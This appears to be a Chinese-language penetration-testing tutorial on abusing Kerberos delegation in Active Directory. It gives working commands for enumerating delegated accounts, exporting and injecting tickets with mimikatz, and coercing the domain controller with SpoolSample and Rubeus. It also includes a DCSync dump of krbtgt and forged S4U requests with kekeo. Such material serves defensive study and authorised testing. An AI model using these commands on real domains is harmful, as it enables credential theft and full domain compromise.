域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。
委派主要分为非约束委派 (Unconstrained delegation)和约束委派 Constrained delegation)与基于资源的约束委派 (Resource Based Constrained Delegation)
建议多看几篇流程,思路理清楚。
当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中已备下次重用,然后service1就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能够访问的服务)了
配置了非约束委派的账户的userAccountControl 属性有个FLAG位 TRUSTED_FOR_DELEGATION,且非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员
上图的kerberos请求描述分为如下步骤:
简要概括一下:
准备阶段:首先用户向KDC发送两次请求,第一次请求可转发的TGT1,第二次请求依据TGT1的可转发TGT2,然后KDC给用户TGT1和TGT2,然后用户使用TGT1向KDC请求Server1的ST,KDC返回给用户Server1的ST,然后用户发送消息给Server1,里面包含了ST,TGT1,TGT2以及Sessionkey。
开始代表用户去获得访问Server2的ST:然后server1拿TGT2向KDC请求Server2的ST,以用户的名义。KDC返回给Service2到Service1的ST,以及Service1可以使用的Sessionkey。(ST将客户端标识为用户,而不是Service1)
然后就拿着访问server2的st,去访问S2,S2返回给内容S1,S1再返回内容给用户
思考:
为什么要生成两个TGT,在正常的kerbors协议认证的时候只需要一个TGT?
我个人觉得是因为,第一个TGT是拿来访问Service1的,第二个TGT2是预留给服务器用的,让服务器拿着TGT2去请求KDC,获得访问Service2的ST,而第一个TGT1已经用于请求访问了Server1的ST。
查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户
1.kali自带的:(通过Active Directory:LDAP语法过滤器)
ldapsearch
过滤条件:
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))
#搜索非约束委派账户
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户名,CN=Users,DC=networksec,DC=loacl" -w 域用户密码. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
#搜索非约束委派主机
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户名,CN=Users,DC=networksec,DC=loacl" -w 域用户密码. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
注:区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)时为用户,samAccountType=805306369 (0x30000001)时为主机,而userAccountControl:1.2.840.113556.1.4.803:=524288 则是标识可信任的委派帐户(不受约束的委派)
2.ADFind
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
查找域中配置非约束委派的用户:
.\AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非约束委派的主机:
.\AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
3.PowerView
#查找域中配置非约束委派用户
Get-NetUser -Unconstrained -Domain networksec |select name
#查找域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain networksec
#查询域中配置非约束委派的主机(另外一个版本的powerview):
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize
因为从上面可以得知,如果一个service的服务账号开启了unconstrained delegation,那么任何访问域用户成员都会把自己的TGT发送给它,并被保存在service机器内存中以备下次重用(lsass),如果我们拿到了这台机器,就可以导出用户的TGT,那么我们就可以利用这个TGT访问能访问到的任何服务,如果是域管理员用户,那就可以为所欲为。
注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
根据原理,我们可以诱导管理员访问我们开启了unconstrained delegation服务主机,那么我们就可以拿到域管理员的TGT了。
具体方式:
横向到一台开启了unconstrained delegation服务主机,用mimikatz导出TGT(管理员权限)
privilege::debug
sekurlsa::tickets /export
导入指定票据到当前会话
kerberos::ptt 票据名称
还有一种方式是直接提升成域管理员:
1.这是需要配合域控上的打印机服务,值得注意的事Print Spooler服务默认是自动运行的
2.还得是一台主机账户并且开启了非约束委派域内机器的权限 #注:是主机账户开启非约束委派,而不是服务用户
tifkin_开源了它的poc
https://github.com/shanfenglan/test/tree/master/spooler
1.向DC的Spooler服务发送请求,强制其访问USER进行身份验证
SpoolSample.exe DC USER
2.用本地的管理员账号打开一个cmd,直接运行命令(如果不用高权限运行的话会报错)
Rubeus.exe monitor /interval:5 /filteruser:DC$
kekeo
/interval:5 设置监听间隔5秒
/filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
这样可以第一时间截取到域控的TGT
3.利用Rubeus将base64编码的票据直接注入到内存中
Rubeus.exe describe /ticket:base64
Rubeus.exe ptt /ticket:base64
4.DCsync攻击域控:
mimikatz.exe "lsadump::dcsync /domain:networksec.loacl /user:DC\krbtgt"
由于非约束委派的不安全性,微软在windows service 2003中引入了约束委派,对kerberos协议进行了扩展,引入了S4U,其中S4U支持两个子协议:S4U2Self和S4U2proxy。这两个协议可以代替任何用户从KDC请求票据,S4U2self可以代表自身请求对其自身的kerberos服务票据(ST);S4U2proxy可以以用户名义请求其他服务的ST,约束委派就限制了S4U2proxy扩展的范围。
注:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程
配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派。约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员
上述请求的文字描述:
1.ldapsearch
ldapsearch
#查找域中配置约束委派用户
过滤条件
(&(samAccountType=805306368)(msds-allowedtodelegateto=*))
搜索命令:
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户,CN=Users,DC=networksec,DC=loacl" -w 域用户密码 -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
#查找域中配置约束委派的主机:
过滤条件
(&(samAccountType=805306369)(msds-allowedtodelegateto=*))
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户,CN=Users,DC=networksec,DC=loacl" -w 域用户密码 -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
2.ADFind
#查找用户
.\AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找域中配置约束委派的主机
.\AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
3.PowerView
#查找域中配置约束委派用户
Get-DomainUser –TrustedToAuth -domain 域名全称 -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
#查找域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain 域名全称 -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST。
这里就要用到一个工具kekeo
1.首先查询域内配置了约束性委派的服务账号
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
2.用kekeo请求该用户的TGT,如果我们拿到了服务用户的明文密码或者NTLM Hash
tgt::ask /user:域用户名 /domain:networksec /password:1111 /ticket:wptgt.kirbi
tgt::ask /user:域用户名 /domain:networksec /NTLM:xxxxxxxxxxxxxxxx /ticket:test.kirbi
3.得到用户TGT的服务使用伪造s4u2self请求和s4u2proxy以administrator用户身份请求访问
Tgs::s4u /tgt:tgt票据名称 /user:administrator@networksec /service:访问服务名称 /user.networksec
4.将S4U2Self获取到的ST1以及S4U2Proxy获取到的访问服务的ST2保存在当前目录下 然后我们用mimikatz将ST2导入当前会话即可
kerberos::ptt st2名称
当然如果我们获得了服务账号所在主机的权限,那么,我们可以利用mimikatz从内存中将票据导出来。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
注:sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::tickets和kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
这里已经把票据请求出来了,就不用再去ask请求TGT票据了
Kerberos委派虽然有用,但本质上是不安全的,因为对于可以通过模拟帐户可以访问哪些服务没有任何限制,那么模拟帐户可以在模拟帐户的上下文中访问多个服务,而不仅仅是特定服务器上的指定服务。而且为了配置受约束的委派,必须拥有SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员,为了使用户/资源更加独立。
基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用。
基于资源的约束委派,顾名思义,现在是要被访问的资源来决定我信任谁,而不是模拟账户本身
区别:它不再需要域管理员对其进行配置,可以直接在机器账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置基于资源的约束委派。(此属性的作用是控制哪些用户可以模拟成域内任意用户,然后向该计算机进行身份验证)
传统的约束委派:在ServiceA的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置了对ServiceB的信任关系,定义了到ServiceB的传出委派信任。
资源约束委派:在ServiceB的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置了对ServiceA的信任关系,定义了从ServiceA的传入信任关系。
而重要的一点在于,资源本身可以为自己配置资源委派信任关系,资源本身决定可以信任谁,该信任谁。
过程解析:
1.用户进行kerberors认证拿到了TGT
2.然后用户向server1发送委派服务请求,服务1 代表用户申请一个获得针对服务1自身的kerberos服务票据(这一步就就和传统的self很像,但也有区别),拿到了不可以转发的访问服务1的TGS。
3.服务1可以使用来自用户的授权( 在S4U2SELF阶段获得的不可转发的TGS),然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的可转发的TGS
利用思路:
1.我们拥有一个任意的服务账户1 或者计算机账户1
2.我们获得服务账户2 的LDAP权限
3.配置服务1对服务2的约束委派(在服务账户2的用户属性上配置msDS-AllowedToActOnBehalfOfOtherIdentity为服务账户1的sid)
4.发起一个从服务1到服务2的正常的约束委派的流程,从而访问服务2。
一个重要的案例:(ateam 这是一篇“不一样”的真实渗透测试案例分析文章)挺强的
原理:sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证,抓包获取NTLM认证请求。
注意的点:
1.system账户做Relay时是用机器账户去请求,但是我们不知道机器账户的密码或者hash,所以没办法申请TGT。
2.默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。
END
看完记得点赞,关注哟,爱您!